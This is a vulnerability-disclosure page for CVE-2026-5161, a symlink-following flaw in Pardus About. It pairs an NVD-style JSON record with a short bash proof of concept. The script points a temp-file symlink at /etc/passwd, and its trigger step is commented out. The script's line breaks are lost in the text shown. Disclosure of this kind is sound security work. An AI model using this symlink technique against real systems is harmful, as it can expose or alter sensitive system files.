CVE-2026-5161

#!/bin/bash # PoC for CVE-2026-5161: Symlink Attack in Pardus About # Description: This script demonstrates how a symlink can be created # to trick the vulnerable application into accessing a sensitive file. TARGET_FILE="/etc/passwd" TEMP_DIR="/tmp/vuln_poc" MALICIOUS_LINK="$TEMP_DIR/pardus_config.tmp" echo "[*] Setting up PoC environment..." mkdir -p $TEMP_DIR echo "[*] Creating symbolic link from $MALICIOUS_LINK to $TARGET_FILE" ln -s $TARGET_FILE $MALICIOUS_LINK echo "[*] Triggering the vulnerable application..." # Simulation: In a real scenario, the user would interact with the app, # causing it to read $MALICIOUS_LINK thinking it is a safe temp file. # /usr/bin/pardus-about --config $MALICIOUS_LINK echo "[*] If exploited, the application may have read/modified $TARGET_FILE" ls -la $MALICIOUS_LINK echo "[*] Cleanup" rm -rf $TEMP_DIR

{"cve": {"id": "CVE-2026-5161", "sourceIdentifier": "[email protected]", "published": "2026-04-29T15:16:08.010", "lastModified": "2026-05-04T14:16:35.300", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper link resolution before file access ('link following') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus About allows Symlink Attack.\n\nThis issue affects Pardus About: before 1.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0131", "source": "[email protected]"}]}}